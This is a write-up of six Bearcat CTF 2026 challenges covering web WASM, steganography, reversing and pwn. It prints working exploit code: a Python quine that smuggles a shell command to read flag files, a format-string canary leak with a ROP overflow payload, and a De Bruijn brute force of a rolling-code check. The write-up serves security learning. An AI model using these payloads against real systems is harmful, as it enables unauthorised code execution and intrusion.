Jeopardy CTF | 21 Feb 2026 | 10 min read

Bearcat CTF 2026

6 challenges solved — Web · Misc · Pwn · Rev

Jeopardy Web Misc Pwn Rev
Difficulty: Medium darivxe
01

Dubious Doubloon

Dubious Doubloon
Web WASM Exploitation

Recon

The challenge presented a browser-based coin-flip game where achieving a streak of heads was required. However, flips consistently resulted in tails, suggesting the outcome logic wasn't purely probabilistic.

Inspecting the frontend revealed that the game logic was backed by a WebAssembly module. The application exposed the following functions:

  • buy_upgrade()
  • flip_coin()
  • get_state()

This indicated that the core game state and logic lived client-side inside WASM rather than being enforced server-side.

WASM Analysis

Opening the loaded module showed that the exported functions could be called directly from the browser console. To enumerate them:

javascript
import("/pkg/unfair_wasm_game.js").then(m => {
  console.log(Object.getOwnPropertyNames(m));
});

This revealed that the upgrade system and coin flip logic were callable externally. The UI was just a wrapper — the game engine trusted the client.

State Manipulation

Instead of playing normally, the approach was to interact directly with the WASM instance. The module was initialized manually:

javascript
const mod = await import("/pkg/unfair_wasm_game.js");
const inst = await mod.default();

Once initialized, the internal memory and exported functions became accessible:

  • Upgrades could be triggered programmatically
  • Flip results could be read directly from memory
  • State checks could be bypassed

All ship upgrades were maxed to level 5 using the exposed upgrade interface.

Exploit

After upgrades were forced to their maximum level, a brute-force interaction loop was used against the WASM coin flip logic.

javascript
const mod = await import("/pkg/unfair_wasm_game.js");
const inst = await mod.default();

for (let mode = 0; mode < 500; mode++) {
  for (let arg = 0; arg < 500; arg++) {
    try {
      const res = inst.flip_coin(mode, arg);
      const mem = new Uint8Array(inst.memory.buffer);

      let text = "";
      for (let i = 0; i < res[1]; i++) {
        text += String.fromCharCode(mem[res[0] + i]);
      }

      if (text.length > 10 && text !== "HEADS" && text !== "TAILS") {
        console.log("RESULT:", text);
        throw "FLAG FOUND";
      }
    } catch (e) {}
  }
}

Instead of returning normal outcomes, the WASM memory eventually revealed a hidden string.

flag
BCCTF{Fl1p&F1sH}

Root Cause

  • Storing game state entirely client-side
  • Exposing internal WASM functions publicly
  • No server-side validation of win conditions
  • Allowing direct manipulation via DevTools
02

PNG (Polly_Needs_Grog)

PNG (Polly_Needs_Grog)
Misc Steganography

Recon

The challenge provided a PNG image of the ship's bird behaving strangely, hinting that hidden information might be embedded within the image itself.

Initial inspection showed no metadata, embedded files, or readable strings. This suggested the presence of visual steganography rather than file-based hiding.

Original Polly challenge image
Original challenge image

Channel Analysis

The image was analyzed by isolating individual RGB channels to determine whether hidden pixel data existed within a specific color plane.

  • Alpha channel — no hidden data
  • Blue channel — empty
  • Green channel — empty
  • Red channel — abnormal intensity distribution observed

Boosting the red channel's intensity exposed hidden visual content that was not visible in the original RGB composite.

Red channel boosted revealing hidden flag
Red channel intensity boosted — hidden flag becomes visible
flag
BCCTF{ARRRRRGB_1s_n34T!}

The flag was embedded directly within the red color channel and became visible only after isolating and amplifying that channel. The image appeared normal when viewed as a full RGB composite, effectively masking the hidden data.

Technique

  • RGB channel separation
  • Pixel intensity amplification
  • Visual steganography detection
03

The Boy is Quine

The Boy is Quine
Misc Code Execution

Recon

The challenge exposed a remote service that prompted the user to submit a quine — a program that outputs its own source code when executed.

$ nc chal.bearcatctf.io 31806
Give me a quine

Analysis

The service validated whether the submitted code was a true quine by comparing the input with the program's stdout after execution. If it matched exactly, the input was accepted.

Crucially, once accepted, the code was executed again — effectively allowing arbitrary Python execution after passing the quine validation step.

Vulnerability

  • User-supplied Python code was executed directly
  • Quine validation acted as the only gate
  • No sandboxing or syscall restriction
  • Code executed again after validation

Exploit

A Python quine was crafted that printed its own source to satisfy validation while embedding a payload to retrieve the flag from common filesystem locations.

python
a='a=%r;import sys,os,getpass;sys.stdout.write(a%%a);getpass.getuser()!="quine" and os.system("cat flag.txt 2>/dev/null || cat /home/quine/flag.txt 2>/dev/null || cat /home/ctf/flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /challenge/flag 2>/dev/null")';import sys,os,getpass;sys.stdout.write(a%a);getpass.getuser()!="quine" and os.system("cat flag.txt 2>/dev/null || cat /home/quine/flag.txt 2>/dev/null || cat /home/ctf/flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /challenge/flag 2>/dev/null")

The quine satisfied the equality check, then executed the embedded command, resulting in remote command execution and flag retrieval.

flag
BCCTF{1t5_mY_t1m3_t0_sh1n3}

Root Cause

  • Execution of untrusted Python input
  • Reliance on quine validation as a security boundary
  • No isolation or sandboxing
  • Direct filesystem command access via Python runtime
04

Da Brown's Revenge

Da Brown's Revenge
Misc Rolling Code Abuse

Recon

The service simulated a rolling-code garage-door style authentication mechanism. Each request required a binary access string, and the system validated whether the correct code appeared within it.

$ nc chal.bearcatctf.io 19679

After each successful submission, the service reported progress toward 20 successful validations before revealing the flag.

Behavior Analysis

Observing responses showed that the server was not verifying equality with a generated code, but instead checking whether the correct binary sequence appeared anywhere inside the submitted input string.

This meant the problem was not predicting the rolling code — it was ensuring the generated value would appear as a substring of the payload.

// key insight

The challenge reduced to a coverage problem. If the payload contained all possible 12-bit combinations, any generated code would be matched automatically by the server's substring check.

Exploit — De Bruijn Sequence

A De Bruijn sequence was generated for binary values of length 12, producing a minimal cyclic string that contains every possible 12-bit pattern exactly once.

python
import sys

def debruijn(k, n):
    a = [0]*(k*n)
    sequence = []
    def db(t, p):
        if t > n:
            if n % p == 0:
                sequence.extend(a[1:p+1])
        else:
            a[t] = a[t-p]
            db(t+1, p)
            for j in range(a[t-p]+1, k):
                a[t] = j
                db(t+1, t)
    db(1,1)
    return ''.join(str(i) for i in sequence)

payload = debruijn(2,12)

for _ in range(25):
    print(payload)
    sys.stdout.flush()

This payload ensured that every server-generated 12-bit rolling code would appear within the submitted string, allowing consecutive validations to succeed automatically.

Correct Access Code, 1 out of 20
Correct Access Code, 2 out of 20
...
Correct Access Code, 20 out of 20
flag
BCCTF{i_5pelled_de_brujin_wr0ng_7689472}

Root Cause

  • Rolling code verified via substring search
  • No requirement for exact match
  • No rate limiting or attempt validation
  • Predictability replaced by coverage exploit
05

Treasure Hunter

Treasure Hunter
Pwn Format String → Canary → ROP

Recon

$ nc chal.bearcatctf.io 28799
Welcome pirate!
But first what is your name pirate?

The name input was directly reflected back without sanitization, indicating a potential format string vulnerability.

Stage 1 — Canary Leak

Supplying a format string such as %13$p revealed stack values. This allowed extraction of the stack canary required to bypass stack protection.

python
p.recvuntil(b"name pirate? ")
p.sendline(b"%13$p")

p.recvuntil(b"Hello ")
canary = int(p.recvline().strip().split(b"0x")[1], 16)

The leaked value was the stack canary, which protects against buffer overflows.

Stage 2 — Buffer Overflow & ROP Chain

After leaking the canary, the second input prompt allowed overflowing a buffer controlling the return address. The exploit preserved the correct canary value and constructed a ROP chain to redirect execution to the hidden win function.

python
payload  = b"A"*40
payload += p64(canary)
payload += b"B"*8
payload += p64(pop_rdi)
payload += p64(6)
payload += p64(pop_rsi)
payload += p64(7)
payload += p64(win)

p.send(payload + b"\n")
flag
BCCTF{rOp_cHaIn_hAs_BeEn_pWnEd}

Root Cause

  • Format string vulnerability allowed stack disclosure
  • Stack canary leaked from memory
  • Buffer overflow enabled return address control
  • No PIE — predictable function addresses
06

What's a Pirate's Favorite Programming Language?

What's a Pirate's Favorite Programming Language?
Rev Reverse Engineering

Recon

The challenge provided a binary along with a hint referencing multiple programming languages except C, implying input validation logic. Running strings on the binary revealed an embedded constant string and transformation logic.

bash
strings FavoriteProgrammingLanguage

Binary Analysis

The binary compared transformed user input against the constant:

text
CA@PC}Wz:~<uR;[_?T;}[XE$%2#|

The transformation applied a position-dependent XOR operation:

  • Characters 1–14 → XOR with index i
  • Characters 15–28 → XOR with (29 - i)

Since XOR is reversible (A ^ B ^ B = A), the operation could be inverted to recover the original input string.

Reversing Script

python
ct = "CA@PC}Wz:~<uR;[_?T;}[XE$%2#|"

result = []

for i, c in enumerate(ct):
    ascii_val = ord(c)

    if i < 14:
        mask = i + 1
    else:
        mask = 29 - (i + 1)

    original = ascii_val ^ mask
    result.append(chr(original))

print("".join(result))
flag
BCCTF{Pr3t7y_5UR3_1tS_C!!1!}

Root Cause

  • Flag derivation logic embedded directly in binary
  • Position-based XOR masking
  • Reversible transformation with no additional obfuscation
  • Static analysis sufficient for recovery